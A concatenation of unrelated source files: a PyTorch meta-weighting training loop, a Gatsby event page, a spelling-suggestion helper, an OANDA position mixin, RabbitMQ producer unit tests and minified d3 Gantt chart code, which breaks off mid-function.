accuracy = 100. * correct / len(test_loader.dataset)
print('\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.4f}%)\n'.format(
test_loss, correct, len(test_loader.dataset),
accuracy))
return accuracy
def train(train_loader,train_meta_loader,model, vnet,optimizer_model,optimizer_vnet,epoch):
print('\nEpoch: %d' % epoch)
train_loss = 0
meta_loss = 0
train_meta_loader_iter = iter(train_meta_loader)
for batch_idx, (inputs, targets) in enumerate(train_loader):
model.train()
inputs, targets = inputs.to(device), targets.to(device)
meta_model = build_model().cuda()
meta_model.load_state_dict(model.state_dict())
outputs = meta_model(inputs)
cost = F.cross_entropy(outputs, targets, reduce=False)
cost_v = torch.reshape(cost, (len(cost), 1))
v_lambda = vnet(cost_v.data)
l_f_meta = torch.sum(cost_v * v_lambda)/len(cost_v)
meta_model.zero_grad()
grads = torch.autograd.grad(l_f_meta, (meta_model.params()), create_graph=True)
meta_lr = args.lr * ((0.1 ** int(epoch >= 80)) * (0.1 ** int(epoch >= 100))) # For ResNet32
meta_model.update_params(lr_inner=meta_lr, source_params=grads)
del grads
try:
inputs_val, targets_val = next(train_meta_loader_iter)
except StopIteration:
train_meta_loader_iter = iter(train_meta_loader)
inputs_val, targets_val = next(train_meta_loader_iter)
inputs_val, targets_val = inputs_val.to(device), targets_val.to(device)
y_g_hat = meta_model(inputs_val)
l_g_meta = F.cross_entropy(y_g_hat, targets_val)
prec_meta = accuracy(y_g_hat.data, targets_val.data, topk=(1,))[0]
optimizer_vnet.zero_grad()
l_g_meta.backward()
optimizer_vnet.step()
outputs = model(inputs)
cost_w = F.cross_entropy(outputs, targets, reduce=False)
cost_v = torch.reshape(cost_w, (len(cost_w), 1))
prec_train = accuracy(outputs.data, targets.data, topk=(1,))[0]
with torch.no_grad():
w_new = vnet(cost_v)
loss = torch.sum(cost_v * w_new)/len(cost_v)
optimizer_model.zero_grad()
loss.backward()
optimizer_model.step()
train_loss += loss.item()
meta_loss += l_g_meta.item()
if (batch_idx + 1) % 50 == 0:
print('Epoch: [%d/%d]\t'
'Iters: [%d/%d]\t'
'Loss: %.4f\t'
'MetaLoss:%.4f\t'
'Prec@1 %.2f\t'
'Prec_meta@1 %.2f' % (
(epoch + 1), args.epochs, batch_idx + 1, len(train_loader.dataset)/args.batch_size, (train_loss / (batch_idx + 1)),
(meta_loss / (batch_idx + 1)), prec_train, prec_meta))
train_loader, train_meta_loader, test_loader = build_dataset()
# create model
model = build_model()
vnet = VNet(1, 100, 1).cuda()
if args.dataset == 'cifar10':
num_classes = 10
if args.dataset == 'cifar100':
num_classes = 100
optimizer_model = torch.optim.SGD(model.params(), args.lr,
momentum=args.momentum, weight_decay=args.weight_decay)
optimizer_vnet = torch.optim.Adam(vnet.params(), 1e-3,
weight_decay=1e-4)
def main():
best_acc = 0
for epoch in range(args.epochs):
adjust_learning_rate(optimizer_model, epoch)
train(train_loader,train_meta_loader,model, vnet,optimizer_model,optimizer_vnet,epoch)
test_acc = test(model=model, test_loader=test_loader)
if test_acc >= best_acc:
best_acc = test_acc
print('best accuracy:', best_acc)
if __name__ == '__main__':
main()
|
import React from 'react';
import PropTypes from 'prop-types';
import { graphql } from 'gatsby';
import Hero from '../components/hero';
import HomeTemplate from '../templates/homeTemplate';
import Organizers from '../components/organizers';
import KOINIntro from '../components/koinIntro';
import KBNIntro from '../components/kbnIntro';
const IndexPage = ({ data, pageContext }) => {
const currentEvent = data.graphcms.events[0];
const eventSwitch = () => {
switch (pageContext.currentEvent.toLowerCase()) {
case 'koin':
return <KOINIntro pictures={currentEvent.picturesStrap} />;
case 'kbn':
return <KBNIntro pictures={currentEvent.picturesStrap} />;
default:
return null;
}
};
return (
// eslint-disable-next-line prettier/prettier
<HomeTemplate slug="" currentEventName={currentEvent.eventName}>
<Hero currentEvent={currentEvent} />
<Organizers organizers={currentEvent.organizers} />
{eventSwitch()}
</HomeTemplate>
);
};
export const data = graphql`
query($currentEvent: GraphCMS_EventName) {
graphcms {
events(where: { eventName: $currentEvent }) {
...EventInformation
...EventPictureStrap
...EventLocation
...EventOrganizers
}
}
}
`;
IndexPage.propTypes = {
data: PropTypes.shape({
graphcms: PropTypes.shape({
events: PropTypes.arrayOf(
PropTypes.shape({
eventName: PropTypes.string,
eventFullName: PropTypes.string,
cancelled: PropTypes.bool,
eventType: PropTypes.string,
cite: PropTypes.string,
citeAuthor: PropTypes.string,
doubleRoomPrice: PropTypes.number,
singleRoomPrice: PropTypes.number,
eventStartDate: PropTypes.string,
eventEndDate: PropTypes.string,
picturesStrap: PropTypes.arrayOf(
PropTypes.shape({
id: PropTypes.string,
url: PropTypes.string,
})
),
eventLocation: PropTypes.shape({
name: PropTypes.string,
address: PropTypes.string,
postalCode: PropTypes.string,
city: PropTypes.string,
webSite: PropTypes.string,
googleMapsCode: PropTypes.string,
}),
organizers: PropTypes.arrayOf(
PropTypes.shape({
id: PropTypes.string,
name: PropTypes.string,
shortName: PropTypes.string,
organizerType: PropTypes.string,
address: PropTypes.string,
postalCode: PropTypes.string,
city: PropTypes.string,
webSite: PropTypes.string,
eMail: PropTypes.arrayOf(PropTypes.string),
phone: PropTypes.arrayOf(PropTypes.string),
fax: PropTypes.arrayOf(PropTypes.string),
nip: PropTypes.string,
regon: PropTypes.string,
bankAccount: PropTypes.string,
bankName: PropTypes.string,
})
),
})
),
}),
}),
pageContext: PropTypes.shape({ currentEvent: PropTypes.string.isRequired })
.isRequired,
};
IndexPage.defaultProps = {
data: {},
};
export default IndexPage;
|
from creeps.parts.carry_source import CarrySource
from creeps.parts.work_target import WorkTarget
class Carry(CarrySource, WorkTarget):
pass
|
# function get_possible_matches - used to return list of possible
# matching words in a list if the word was supposed to be in the
# list but not found, possibly due to a spelling error.
# adapted from:
# http://norvig.com/spell-correct.html
alphabet = 'abcdefghijklmnopqrstuvwxyz'
def edits1(word):
splits = [(word[:i], word[i:]) for i in range(len(word) + 1)]
deletes = [a + b[1:] for a, b in splits if b]
transposes = [a + b[1] + b[0] + b[2:] for a, b in splits if len(b)>1]
replaces = [a + c + b[1:] for a, b in splits for c in alphabet if b]
inserts = [a + c + b for a, b in splits for c in alphabet]
return set(deletes + transposes + replaces + inserts)
def known_edits2(word, choices):
return set(e2 for e1 in edits1(word) for e2 in edits1(e1) if e2 in choices)
def known(words, choices): return set(w for w in words if w in choices)
def get_possible_matches(word, choices):
""" given word, that is not in list words, find possible matches based on
edits. This used to generate list of possible matches in case there was a
misspelling"""
ch = set(choices)
candidates = known(edits1(word), ch) or known_edits2(word, ch)
return sorted(list(candidates))
def test_get_possible_matches():
choices = ["stimulus", "hippocampus", "mouse", "module", "interface"]
words = ["stimuls", "hipppocampus", "mose", "modlue", "interfaces"]
for word in words:
possible_matches = get_possible_matches(word, choices)
print "%s found %s" % (word, possible_matches)
if __name__ == '__main__':
test_get_possible_matches()
|
import logging
from ...base.models import PositionBase
from .common.convertor import get_symbol
from .common.logger import log_error
logger = logging.getLogger(__name__)
class OANDAPositionMixin(PositionBase):
def pull_position(self, instrument):
"""pull position by instrument"""
instrument = get_symbol(instrument)
response = self.api.position.get(self.account_id, instrument)
if response.status < 200 or response.status > 299:
log_error(logger, response, 'QEURY_POSITION')
raise Exception(response.body['errorMessage'])
last_transaction_id = response.get('lastTransactionID', 200)
position = response.get('position', 200)
if position:
self.positions[position.instrument] = position
return position
def list_all_positions(self):
response = self.api.position.list(
self.account_id,
)
if response.status < 200 or response.status > 299:
log_error(logger, response, 'LIST_ALL_POSITION')
raise Exception(response.body['errorMessage'])
last_transaction_id = response.get('lastTransactionID', 200)
positions = response.get('positions', 200)
for position in positions:
self.positions[position.instrument] = position
return positions
def list_open_positions(self):
response = self.api.position.list_open(
self.account_id,
)
if response.status < 200 or response.status > 299:
log_error(logger, response, 'LIST_OPEN_POSITION')
raise Exception(response.body['errorMessage'])
last_transaction_id = response.get('lastTransactionID', 200)
positions = response.get('positions', 200)
for position in positions:
self.positions[position.instrument] = position
return positions
def close_all_position(self):
instruments = self.positions.keys()
logger.error('[CLOSE_ALL_POSITIONS] Start.')
for i in instruments:
self.close_position(i, 'ALL', 'ALL')
def close_position(self, instrument, longUnits='ALL', shortUnits='ALL'):
instrument = get_symbol(instrument)
response = self.api.position.close(
self.account_id,
instrument,
longUnits=longUnits,
shortUnits=shortUnits
)
if response.status < 200 or response.status > 299:
log_error(logger, response, 'CLOSE_POSITION')
raise Exception(response.body['errorMessage'])
longOrderCreateTransaction = response.get('longOrderCreateTransaction', None)
longOrderFillTransaction = response.get('longOrderFillTransaction', None)
longOrderCancelTransaction = response.get('longOrderCancelTransaction', None)
shortOrderCreateTransaction = response.get('shortOrderCreateTransaction', None)
shortOrderFillTransaction = response.get('shortOrderFillTransaction', None)
shortOrderCancelTransaction = response.get('shortOrderCancelTransaction', None)
relatedTransactionIDs = response.get('relatedTransactionIDs', None)
lastTransactionID = response.get('lastTransactionID', None)
print(longOrderCreateTransaction.__dict__)
print(longOrderFillTransaction.__dict__)
print(longOrderCancelTransaction.__dict__)
print(shortOrderCreateTransaction.__dict__)
print(shortOrderFillTransaction.__dict__)
print(shortOrderCancelTransaction.__dict__)
print(relatedTransactionIDs.__dict__)
print(lastTransactionID)
return True
|
from .google.google_area_chart import google_area_chart
from .google.google_stepped_area_chart import google_stepped_area_chart
from .google.google_bar_chart import google_bar_chart
from .google.google_column_chart import google_column_chart
from .google.google_material_bar_chart import google_material_bar_chart
from .google.google_candlestick_chart import google_candlestick_chart
from .google.google_bubble_chart import google_bubble_chart
from .google.google_calendar_chart import google_calendar_chart
from .google.google_gantt_chart import google_gantt_chart
from .google.google_geo_chart import google_geo_chart
from .google.google_line_chart import google_line_chart
from .google.google_material_line_chart import google_material_line_chart
from .google.google_pie_chart import google_pie_chart
from .google.google_sankey_chart import google_sankey_chart
from .google.google_scatter_chart import google_scatter_chart
from .google.google_material_scatter_chart import google_material_scatter_chart
from .google.google_timeline_chart import google_timeline_chart
from .google.google_treemap_chart import google_treemap_chart
from .datatables.datatables import datatables
from .datatables.datatables_bootstrap4 import datatables_bootstrap4
from .datatables.datatables_material import datatables_material
__all__ ={
'google_area_chart',
'google_stepped_area_chart',
'google_bar_chart',
'google_column_chart',
'google_material_bar_chart',
'google_candlestick_chart',
'google_bubble_chart',
'google_calendar_chart',
'google_gantt_chart',
'google_geo_chart',
'google_line_chart',
'google_material_line_chart',
'google_pie_chart',
'google_sankey_chart',
'google_scatter_chart',
'google_material_scatter_chart',
'google_timeline_chart',
'google_treemap_chart',
'datatables',
'datatables_bootstrap4',
'datatables_material'
}
|
import unittest
from unittest.mock import Mock, patch, ANY
from pika.spec import Basic
from rabbitmq_client import (
RMQProducer,
ExchangeParams,
QueueParams,
PublishParams,
ConfirmModeOK,
DeliveryError,
DEFAULT_EXCHANGE
)
# noinspection DuplicatedCode
class TestProducer(unittest.TestCase):
"""
Test the RMQProducer implementation, which implements the RMQConnection
interface.
"""
@patch("rabbitmq_client.producer.RMQProducer.start")
def setUp(self, _connection_start) -> None:
"""Setup to run before each test case."""
self.producer = RMQProducer()
self.producer.start()
self.producer.on_ready() # Fake connection getting ready
self.producer.declare_queue = Mock()
self.producer.declare_exchange = Mock()
self.producer.bind_queue = Mock()
self.producer.basic_publish = Mock()
def test_producer_readiness(self):
"""Verify the producer ready property changes appropriately."""
self.assertTrue(self.producer.ready)
self.producer.on_close()
self.assertFalse(self.producer.ready)
self.producer.on_ready()
self.assertTrue(self.producer.ready)
self.producer.on_close(permanent=True)
self.assertFalse(self.producer.ready)
def test_producer_error_handling(self):
"""Verify on_error results in correct behavior..."""
with self.assertRaises(NotImplementedError):
self.producer.on_error()
def test_publish_using_exchange_params(self):
"""Verify possibility to publish to an exchange."""
# Prep
exchange_params = ExchangeParams("exchange")
# Run test + assertions
self.producer.publish(b"body", exchange_params=exchange_params)
self.producer.declare_exchange.assert_called_with(
exchange_params, callback=ANY
)
self.producer.on_exchange_declared(b"body",
exchange_params,
None,
routing_key="",
publish_params=None)
self.producer.basic_publish.assert_called_with(
b"body",
exchange=exchange_params.exchange,
routing_key="",
publish_params=None
)
def test_publish_using_queue_params(self):
"""Verify possibility to publish providing only queue parameters."""
# Prep
queue_params = QueueParams("queue")
frame_mock = Mock()
frame_mock.method.queue = "queue"
# Run test + assertions
self.producer.publish(b"body", queue_params=queue_params)
self.producer.declare_queue.assert_called_with(
queue_params, callback=ANY
)
self.producer.on_queue_declared(b"body",
frame_mock,
publish_params=None)
self.producer.basic_publish.assert_called_with(
b"body",
exchange=DEFAULT_EXCHANGE,
routing_key=queue_params.queue,
publish_params=None
)
def test_publish_using_both_queue_params_and_exchange_params(self):
"""
Verify that a ValueError is raised if both queue and exchange
parameters are provided to publish.
"""
# Prep
queue_params = QueueParams("queue")
exchange_params = ExchangeParams("exchange")
# Run test + assertions
with self.assertRaises(ValueError):
self.producer.publish(b"body",
exchange_params=exchange_params,
queue_params=queue_params)
def test_publish_using_neither_queue_params_and_exchange_params(self):
"""
Verify that a ValueError is raised if neither queue nor exchange
parameters are provided to publish.
"""
# Run test + assertions
with self.assertRaises(ValueError):
self.producer.publish(b"body")
def test_publish_using_exchange_and_routing_key(self):
"""
Verify that publishing using both exchange and routing key has the
expected behavior.
"""
# Prep
exchange_params = ExchangeParams("exchange")
routing_key = "routing_key"
# Run test + assertions
self.producer.publish(b"body",
exchange_params=exchange_params,
routing_key=routing_key)
self.producer.declare_exchange.assert_called_with(
exchange_params, callback=ANY
)
self.producer.on_exchange_declared(b"body",
exchange_params,
None,
routing_key=routing_key,
publish_params=None)
self.producer.basic_publish.assert_called_with(
b"body",
exchange=exchange_params.exchange,
routing_key=routing_key,
publish_params=None
)
def test_publish_including_publish_params(self):
"""
Verify that PublishParams are passed as expected when calling publish.
"""
# Prep
exchange_params = ExchangeParams("exchange")
publish_params = PublishParams()
routing_key = "routing_key"
# Run test + assertions
self.producer.publish(b"body",
exchange_params=exchange_params,
routing_key=routing_key,
publish_params=publish_params)
self.producer.declare_exchange.assert_called_with(
exchange_params, callback=ANY
)
self.producer.on_exchange_declared(b"body",
exchange_params,
None,
routing_key="",
publish_params=publish_params)
self.producer.basic_publish.assert_called_with(
b"body",
exchange=exchange_params.exchange,
routing_key="",
publish_params=publish_params
)
def test_publish_is_delayed_until_producer_connection_ready(self):
"""
Verify that the producer buffers messages that are to be sent when the
producer connection is not in a ready state, and that the buffered
messages are sent upon the producer becoming ready.
"""
# Prep
exchange_params = ExchangeParams("exchange")
frame_mock = Mock()
frame_mock.method.queue = "queue"
queue_params = QueueParams("queue")
# Run test + assertions
self.producer.on_close()
self.producer.publish(b"body", exchange_params=exchange_params)
self.producer.publish(b"body", queue_params=queue_params)
self.assertEqual(2, len(self.producer._buffered_messages))
self.producer.on_ready()
self.producer.declare_exchange.assert_called_with(
exchange_params, callback=ANY
)
self.producer.declare_queue.assert_called_with(
queue_params, callback=ANY
)
class TestConfirmMode(unittest.TestCase):
"""
Test the confirm mode functionality of RMQProducer.
"""
@patch("rabbitmq_client.producer.RMQProducer.start")
def setUp(self, _connection_start) -> None:
"""Setup to run before each test case."""
self.producer = RMQProducer()
self.producer.start()
self.producer.on_ready() # Fake connection getting ready
self.producer.confirm_delivery = Mock()
self.producer.declare_exchange = Mock()
self.producer.basic_publish = Mock()
def test_activate_confirm_mode(self):
"""
Verify that confirm mode, when activated, yields the expected state.
"""
# Prep
confirm_mode_started = False
def notify_callback(confirm):
nonlocal confirm_mode_started
if isinstance(confirm, ConfirmModeOK):
confirm_mode_started = True
# Test
self.producer.activate_confirm_mode(notify_callback)
self.producer.confirm_delivery.assert_called_with(
self.producer.on_delivery_confirmed,
callback=self.producer.on_confirm_select_ok
)
self.assertFalse(self.producer._confirm_mode_active)
self.producer.on_confirm_select_ok(Mock())
# Assert
self.assertTrue(confirm_mode_started)
self.assertTrue(self.producer._confirm_mode_active)
def test_confirm_mode_publish_key_returned_by_publish(self):
"""
Verify that a publish key is generated and returned by publish if
confirm mode is activated.
"""
# Prep
publish_key = None
def on_confirm(delivery_notification):
if delivery_notification == publish_key:
return
elif isinstance(delivery_notification, ConfirmModeOK):
return
self.fail("delivery notification did not match the generated "
"publish key")
self.producer.activate_confirm_mode(on_confirm)
self.producer.confirm_delivery.assert_called_with(
self.producer.on_delivery_confirmed,
callback=self.producer.on_confirm_select_ok
)
self.producer.on_confirm_select_ok(None)
exchange_params = ExchangeParams("exchange")
# Test
publish_key = self.producer.publish(
b"body", exchange_params=exchange_params
)
self.producer.declare_exchange.assert_called()
self.producer.on_exchange_declared(
b"body", exchange_params, None, publish_key=publish_key
)
self.producer.basic_publish.assert_called_with(
b"body", exchange=exchange_params.exchange, routing_key="",
publish_params=ANY
)
# 1 is the delivery tag
self.assertEqual(self.producer._unacked_publishes[1], publish_key)
frame = Mock()
ack = Basic.Ack()
ack.delivery_tag = 1
frame.method = ack
self.producer.on_delivery_confirmed(frame)
self.assertEqual(len(self.producer._unacked_publishes.keys()), 0)
def test_on_ready_initiates_confirm_mode_again(self):
"""
Verify that after connectivity issues, on_ready will re-start confirm-
mode.
"""
# Prep
self.producer.activate_confirm_mode(lambda _: ...)
# Test
self.producer.on_ready()
# Assert
self.producer.confirm_delivery.assert_called_with(
self.producer.on_delivery_confirmed,
callback=self.producer.on_confirm_select_ok
)
def test_delivery_not_acked_leads_to_delivery_error(self):
"""
Verify that if a delivery confirmation is NOT an ack, a delivery error
is propagated to the delivery notify callback.
"""
# Prep
got_error = False
def on_confirm(error):
nonlocal got_error
got_error = True
if isinstance(error, DeliveryError):
self.assertEqual("123", error.publish_key)
self.producer.activate_confirm_mode(on_confirm)
self.producer._unacked_publishes[1] = "123"
# Test
frame = Mock()
frame.method = Basic.Nack()
frame.method.delivery_tag = 1
self.producer.on_delivery_confirmed(frame)
# Assert
self.assertTrue(got_error)
def test_activate_confirm_mode_idempotent(self):
"""
Verify that calling activate_confirm_mode more than once has no effect,
and will yield the same result as calling it once.
"""
# Prep
def on_confirm(): ...
# Test + assert
self.producer.activate_confirm_mode(on_confirm)
self.producer.activate_confirm_mode(on_confirm)
self.producer.confirm_delivery.assert_called_once()
def test_confirm_mode_delays_buffer_until_confirm_mode_ok(self):
"""
Verify that, if confirm mode has been activated, buffered publishes
are not sent on 'on_ready', but rather 'on_confirm_select_ok'.
"""
# Prep
self.producer.activate_confirm_mode(lambda _: ...)
self.producer.on_close()
exchange_params = ExchangeParams("exchange")
# Test + assertions
_pub_key = self.producer.publish(b"body",
exchange_params=exchange_params)
self.assertNotEqual(_pub_key, None)
self.producer.declare_exchange.assert_not_called()
self.assertEqual(len(self.producer._buffered_messages), 1)
self.producer.on_ready()
self.producer.declare_exchange.assert_not_called()
self.assertEqual(len(self.producer._buffered_messages), 1)
self.producer.on_confirm_select_ok(Mock())
self.producer.declare_exchange.assert_called()
self.assertEqual(len(self.producer._buffered_messages), 0)
def test_publish_before_confirm_mode_ok_buffers_the_publish(self):
"""
Verify that any call to publish before confirm mode ok (when confirm
mode has been activated) leads to the call being buffered and delayed
until 'on_confirm_select_ok'.
"""
# Prep
self.producer.activate_confirm_mode(lambda _: ...)
exchange_params = ExchangeParams("exchange")
# Test + assertions
_pub_key = self.producer.publish(b"body",
exchange_params=exchange_params)
self.assertNotEqual(_pub_key, None)
self.producer.declare_exchange.assert_not_called()
self.assertEqual(len(self.producer._buffered_messages), 1)
self.producer.on_confirm_select_ok(Mock())
self.producer.declare_exchange.assert_called()
self.assertEqual(len(self.producer._buffered_messages), 0)
|
"use strict";var ganttChart=function(t){function e(t){var e=$.call(t);return e!==tt&&e!==et&&C("Expected object or array. Got: "+e),e===tt?(Y(t),W.items=W.items.concat(t)):(P(t),W.items.push(t)),z(),Z}function n(t){return arguments.length?(d3.select(window).on("resize",t!==!1?S:null),W.isAutoResize=t,Z):W.isAutoResize}function a(t,e){switch(t){case"startDrag":W.startDrag.push(e);break;case"moveDrag":W.moveDrag.push(e);break;case"endDrag":W.endDrag.push(e);break;case"doubleClick":W.doubleClick.push(e)}return Z}function r(){var t=W.lanes.length,e=m(),n=p();M=d3.select(W.renderTo).append("svg").attr("width",W.width).attr("height",W.height).attr("class","gantt-chart"),M.append("defs").append("clipPath").attr("id","clip").append("rect").attr("width",e).attr("height",n),q=d3.behavior.drag().on("dragstart",function(t){o(this,t);for(var e=0;e<W.startDrag.length;e++)W.startDrag[e](this,t)}).on("drag",function(t){s(this,t);for(var e=0;e<W.moveDrag.length;e++)W.moveDrag[e](this,t)}).on("dragend",function(t){l(this,t);for(var e=0;e<W.endDrag.length;e++)W.endDrag[e](this,t)}),O=M.append("g").attr("transform","translate("+W.margin.left+","+W.margin.top+")").attr("width",e).attr("height",n).attr("class","main"),_=d3.select("body").append("div").attr("class","gantt-tooltip").style("opacity",0),K=d3.time.scale().domain(v()).range([0,e]),U=d3.scale.linear().domain([0,t]).range([0,n]),J=d3.svg.axis().scale(K).orient("bottom").ticks(W.duration),Q=d3.svg.axis().scale(U).orient("left").ticks(t).tickFormat(""),V=d3.behavior.zoom().x(K),O.append("g").attr("transform","translate(0,"+n+")").attr("class","main axis date").call(J),O.append("g").attr("class","main axis lane").call(Q),B=O.append("g").attr("clip-path","url(#clip)"),O.append("g").attr("class","laneLabels"),M.call(V),d3.select("html").on("click",function(t){W.isEnableTooltip&&(event.target.closest("svg rect")||b())})}function i(t){var e=parseFloat(d3.select(this).attr("x")),n=parseFloat(d3.select(this).attr("width")),a=e+n;e+W.margin.left+at>=d3.event.x||a+W.margin.left-5<=d3.event.x?d3.select(this).attr("class",void 0===t["class"]?"success"+(W.isEnableItemResize?" cursor-resize":" cursor-default"):t["class"]+(W.isEnableItemResize?" cursor-resize":" cursor-default")):d3.select(this).attr("class",void 0===t["class"]?"success"+(W.isEnableDrag?" cursor-move":" cursor-default"):t["class"]+(W.isEnableDrag?" cursor-move":" cursor-default"))}function s(t,e){var n=parseFloat(d3.select(t).attr("x")),a=parseFloat(d3.select(t).attr("y")),r=parseFloat(d3.select(t).attr("width")),i=n+r,s=d3.select(t).attr("id"),l=parseFloat(d3.select("#text-"+s).attr("x"));if(W.isEnableItemResize&&e.isResize){if(n+at>=d3.event.x&&n<=i-at)return e.start=Date.parse(K.invert(n+d3.event.dx)),R(e),d3.select(t).attr("x",n+d3.event.dx).attr("width",r-d3.event.dx),void d3.select("#text-"+s).attr("x",n+(r+d3.event.dx)/2).attr("width",(r+d3.event.dx)/2);if(i-at<=d3.event.x&&n+5<=i)return e.end=Date.parse(K.invert(parseFloat(r+d3.event.dx)+parseFloat(n))),R(e),d3.select(t).attr("width",r+d3.event.dx),void d3.select("#text-"+s).attr("x",n+(r+d3.event.dx)/2).attr("width",(r+d3.event.dx)/2)}W.isEnableDrag&&e.isMove&&(e.start=Date.parse(K.invert(n+d3.event.dx)),e.end=Date.parse(K.invert(parseFloat(r+d3.event.dx)+parseFloat(n))),R(e),d3.select(t).attr("x",n+d3.event.dx).attr("y",a+d3.event.dy),d3.select("#text-"+s).attr("x",l+d3.event.dx).attr("y",a+W.itemHeight/2+d3.event.dy))}function l(t,e){if(W.isEnableDrag||W.isEnableItemResize){var n=d3.select(t),a=Math.floor(U.invert(n.attr("y"))),r=n.attr("x"),i=n.attr("id");a>=W.lanes.length&&(a=W.lanes.length-1),a<0&&(a=0),delete e.isResize,delete e.isMove,n.attr("y",U(a)),d3.select("#text-"+i).attr("y",U(a)+W.itemHeight/2),e.lane=a,e.start=Date.parse(K.invert(parseFloat(r))),e.end=Date.parse(K.invert(parseFloat(n.attr("width"))+parseFloat(r))),b(),j(),T()}}function o(t,e){if(W.isEnableDrag||W.isEnableItemResize){var n=d3.select(t).attr("class");n.includes("cursor-resize")?e.isResize=!0:n.includes("cursor-move")&&(e.isMove=!0),e.oldStart=e.start,e.oldEnd=e.end,d3.event.sourceEvent.stopPropagation()}}function d(t,e){var n;for(n in e)t.hasOwnProperty(n)&&($.call(e[n])===et?d(t[n],e[n]):t[n]=e[n])}function c(t){return arguments.length?(W.isEnableDrag=t,T(),Z):W.isEnableDrag}function u(t){return arguments.length?(W.isEnableItemResize=t,T(),Z):W.isEnableItemResize}function h(t){return arguments.length?(W.isEnableTooltip=t,T(),Z):W.isEnableTooltip}function g(t){return arguments.length?(V.on("zoom",t?T:null),W.isEnableZoom=t,Z):W.isEnableZoom}function f(){return W.lanes.length}function m(){return W.width-W.margin.right-W.margin.left}function p(){return W.height-W.margin.top-W.margin.bottom}function v(){return[W.startTime||d3.min(W.items,function(t){return t.start}),W.endTime||d3.max(W.items,function(t){return t.end})]}function b(){_.transition().duration(500).style("opacity",0).style("display","none")}function x(t){var e=$.call(t);return arguments.length?(e!==tt&&C("Expected array. Got: "+e),Y(t),W.items=t,z(),Z):W.items}function w(t){var e=$.call(t);return arguments.length?(e!==tt&&C("Expected array. Got: "+e),W.lanes=t,W.lanes.length=f()||W.lanes.length,L(!W.isShowLaneLabel),L(!W.isShowLaneLabel),Z):W.lanes}function y(t){var e=$.call(t);return arguments.length?(e!==nt&&C("Expected String. Got: "+e),W.lanes.push(t),E(),Z):W.lanes}function D(t){var e=" margin value is incorrect. All values should be numbers";return arguments.length?(void 0!==t.top&&(isNaN(t.top)&&C("'Top'"+e),W.margin.top=parseInt(t.top),O.attr("transform","translate("+W.margin.left+","+W.margin.top+")")),void 0!==t.right&&(isNaN(t.right)&&C("'Right'"+e),W.margin.right=parseInt(t.right)),void 0!==t.bottom&&(isNaN(t.bottom)&&C("'Bottom'"+e),W.margin.bottom=parseInt(t.bottom)),void 0!==t.left&&(isNaN(t.left)&&C("'Left'"+e),W.margin.left=parseInt(t.left),O.attr("transform","translate("+W.margin.left+","+W.margin.top+")")),S(),Z):W.margin}function E(){var t=f();K.domain(v()),Q.ticks(t),U.domain([0,t]),V.x(K),L(!W.isShowLaneLabel),L(!W.isShowLaneLabel),j(),T()}function z(){var t=f();W.lanes.length=t,K.domain(v()),Q.ticks(t),U.domain([0,t]),V.x(K),T(),T(),j()}function T(){var t;t=B.selectAll("rect").data(W.items).attr("id",function(t){return t.id}).attr("x",function(t){return K(t.start)}).attr("y",function(t){return t.lane>W.lanes.length-1&&(t.lane=W.lanes.length-1),W.sublanes<2?U(t.lane):U(t.lane)+t.sublane*W.itemHeight}).attr("width",function(t){return K(t.end)-K(t.start)}).attr("height",W.itemHeight).attr("class",function(t){return void 0===t["class"]?"success":t["class"]}).call(q).on("dblclick",function(t){for(var e=0;e<W.endDrag.length;e++)W.doubleClick[e](this,t);d3.event.stopPropagation()}).on("mouseover",W.isEnableTooltip?R:null).on("mouseleave",W.isEnableTooltip?b:null).on("mousemove",i),t.enter().append("rect"),t.exit().remove();var e=B.selectAll("text").data(W.items).text(function(t){return t.label}).attr("id",function(t){return"text-"+t.id}).attr("x",function(t){return K(t.start)+(K(t.end)-K(t.start))/2}).attr("y",function(t){return t.lane>W.lanes.length-1&&(t.lane=W.lanes.length-1),W.sublanes<2?U(t.lane)+W.itemHeight/2:U(t.lane)+t.sublane*W.itemHeight+W.itemHeight/2}).attr("font-size",11).attr("text-anchor","middle").attr("text-height",20).attr("fill",function(t){return void 0===t.fillTitle?"#fff main":t.fillTitle+" main"});e.enter().append("text"),e.exit().remove(),O.select("g.main.axis.date").call(J),O.select("g.main.axis.lane").call(Q),b()}function S(){W.isAutoResize&&(W.width=parseInt(d3.select(W.renderTo).style("width")),W.height=parseInt(d3.select(W.renderTo).style("height")));var t=m(),e=p();K.range([0,t]),U.range([0,e]),M.attr("width",W.width),M.attr("height",W.height),M.select("defs").select("clipPath").select("rect").attr("width",t),M.select("defs").select("clipPath").select("rect").attr("height",t),O.attr("width",t),O.attr("height",e),O.select("g.main.axis.date").attr("transform","translate(0,"+p()+")"),O.select("g.laneLabels").selectAll(".laneText").data(W.lanes).attr("y",function(t,e){return U(e+.5)}),V.x(K),k(W.isShowYGrid),G(W.isShowYGrid),T()}function L(t){return arguments.length?(W.isShowLaneLabel=t,t===!1?O.selectAll(".laneText").remove():O.select("g.laneLabels").selectAll(".laneText").data(W.lanes).enter().append("text").text(function(t){return t}).attr("id",function(t,e){return"lane-"+e}).attr("x",-W.margin.left).attr("y",function(t,e){return U(e+.5)}).attr("dy",".5ex").attr("text-anchor","start").attr("class","laneText"),Z):W.isShowLaneLabel}function I(t){P(t,"update");var e=W.items.filter(function(e){return e.id===t.id})[0];void 0===e&&C("This item not found"),d(e,t),z()}function R(t){d3.event.defaultPrevented||(_.style("display","block").transition().duration(200).style("opacity",.9),_.html("function"==typeof t.tooltip?t.tooltip():t.tooltip).style("left",d3.event.pageX+"px").style("top",d3.event.pageY+"px"))}function k(t){if(!arguments.length)return W.isShowXGrid;var e=t!==!1?-p():-6;return J.tickSize(e,0,0),W.isShowXGrid=t,O.select("g.main.axis.date").call(J),Z}function G(t){if(!arguments.length)return W.isShowYGrid;var e=t!==!1?-m():-6;return Q.tickSize(e,0,0),W.isShowYGrid=t,O.select("g.main.axis.lane").call(Q),Z}function A(t,e){return arguments.length?(W.width=parseInt(t)||W.width,W.height=parseInt(e)||W.height,n(!1),S(),Z):[W.width,W.height]}function F(t){return arguments.length?(W.sublanes=t,T(),Z):W.sublanes}function N(t){return W.items.filter(function(e){return e.lane==t})}function H(){var t={max:0,lanes:[]};return d3.max(W.items,function(e){e.sublane+1>t.max&&(t.max=e.sublane+1)}),t.lanes=W.items.filter(function(e){return e.sublane==t.max-1}).map(function(t){return t.lane}),t}function Y(t){for(var e=0;e<t.length;e++){var n=t[e];P(n)}}function P(t,e){"update"!==e&&(void 0===t.sublane&&(t.sublane=0),void 0===t["class"]&&(t["class"]="success"));var n=new Date(t.start),a=new Date(t.end),r=W.items.filter(function(e){return e.id===t.id});void 0===t.id&&C("Id required"),void 